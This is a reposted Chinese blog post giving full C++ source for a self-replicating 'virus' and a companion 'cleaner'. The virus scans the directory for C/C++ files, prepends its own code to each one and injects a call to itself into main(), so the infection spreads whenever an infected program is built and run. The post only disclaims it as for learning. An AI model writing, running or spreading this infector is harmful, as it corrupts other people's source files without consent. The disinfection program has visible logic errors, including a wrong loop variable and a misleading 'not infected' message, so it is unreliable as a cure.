超强c/c++病毒程序,中毒+杀毒

转载一个病毒代码

​
//START
#include <windows.h>
#include <fstream>
#include <string>
#include <iostream>
using namespace std;
//此程序仅供病毒原理学习之用
//请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负 
void vir(){ 
	string CurFileName = __FILE__;//绝对路径
	string obCurFileName          //相对路径
   = CurFileName.substr(CurFileName.find_last_of('//') + 1,CurFileName.size()-1);      
	WIN32_FIND_DATA FindFileData;
	HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
	string VirusCode[100];//病毒代码 
	string FileCode[500]; //宿主代码
	int CodeLen = 0;//病毒代码长度
	int FileLen = 0;//宿主代码长度 

	//病毒函数调用应当插在"main("后面的第一个"{"后面 
	//在C++中main有int main(),int main(int arg,char **r)等形式 
	int InsertLoc = 0; 

	//提取待传播的当前文件中的病毒代码 
	ifstream VirusFile(obCurFileName.c_str()); 
	for (CodeLen = 0;getline(VirusFile,VirusCode[CodeLen]);CodeLen++)
	{
		if(VirusCode[CodeLen] == "//END")
		{
    		CodeLen++;
    		break;
   		}
	}
	VirusFile.close();
	//依次感染宿主文件 
	while (true) 
	{
   		//不能感染当前.cpp文件和已感染的文件 
   		if(strcmp(FindFileData.cFileName,obCurFileName.c_str())== 0)
   		{
    		cout<<FindFileData.cFileName<<":是感染源!/n";
   		}
   		else//感染其它文件 
   		{
    		//加载宿主文件 
    		ifstream ibe(FindFileData.cFileName);
    		for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
    		{
     			if (FileCode[FileLen].find("main") != -1)
     			{
      				InsertLoc = FileLen;
     			}
    		}
    		ibe.close();
    		if(FileCode[0] == "//START")//该文件已被感染 
    		{
     			cout<<FindFileData.cFileName<<":已携带了病毒!/n";
    		}
    		else if (FileLen > 500)
    		{
     			cout<<FindFileData.cFileName<<":文件太大了!/n";
    		}
    		else
    		{
     			//打开宿主文件
     			ofstream be(FindFileData.cFileName);
     			//插入病毒代码 
     			for(int i = 0;i < CodeLen;i++)
     			{
      				be<<VirusCode[i]<<endl;
     			}		
     			//病毒函数调用位置前文本插入 
     			for(int i = 0;i < InsertLoc;i++)
     			{
      				be<<FileCode[i]<<endl;
     			}
    			 //插入函数调用vir() 
    			 for(int i = InsertLoc;i < FileLen;i++)
     			{
      				int j = FileCode[i].find('{');
      				if(j != -1)
      				{
       					FileCode[i].insert(j + 1,"/nvir();"); 
       					break;
      				}
     			}
     			//病毒函数调用位置后插入剩余文本 
     			for(int i = InsertLoc;i < FileLen;i++)
     			{
      				be<<FileCode[i]<<endl;
     			}
     			be.close();
     			cout<<FindFileData.cFileName<<":感染成功!/n";
    		}
   		}
   		if (FindNextFile(hFind, &FindFileData) == false) break;
		}
	}
	//END
	int main()
	{
		vir();
	return 0;
}

​
#include <windows.h>
#include <fstream>
#include <string>
#include <vector>
#include <iostream>
using namespace std;
//此程序仅供病毒原理学习之用
//请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负 
void revir()
{ 
	WIN32_FIND_DATA FindFileData;
	HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
	string FileCode[500];
	//病毒函数调用应当插在"main"后面的第一个"{"后面 
	//在C++中main有int main(),int main(int arg,char **r)等形式
	//依次清除宿主文件 
	while (true) 
	{ 
   		//加载文件
   		int FileLen = 0; //宿主代码长度
   		int MainLoc = 0; //主函数位置 
   		ifstream ibe(FindFileData.cFileName);
   		getline(ibe,FileCode[0]);
   		if(FileCode[0] == "//START")//当前文件被感染过 
   		{
    		//病毒代码要过虑掉 
    		for(FileLen = 0;getline(ibe,FileCode[0]);)
    		{
     			if(FileCode[FileLen] == "//END")
     			{
      				break;
     			}
    		}
    		//宿主未感染前的代码
    		for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
    		{
     			if(FileCode[FileLen].find("main") != -1)
     			{
      				MainLoc = FileLen;
     			}			
    		}
   			//清除主文件中的函数调用
    		for (int i = MainLoc;i < FileLen;i++) 
    		{
     			if(FileCode[i].find('{') != -1)
     			{
      				FileCode[i + 1] = "";
      				break;
     			}
    		}
    		ibe.close();
   			ofstream be(FindFileData.cFileName);
    		for(int i = 0;i < FileLen;i++)
    		{
     			be<<FileCode[i]<<endl;
    		}
    		be.close();
    		cout<<FindFileData.cFileName<<":病毒清除成功/n";
   		}
   		cout<<FindFileData.cFileName<<":没有被感染!/n";
   		if (FindNextFile(hFind, &FindFileData) == false) break;
	}
}
int main()
{
	revir();
	return 0;
}

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值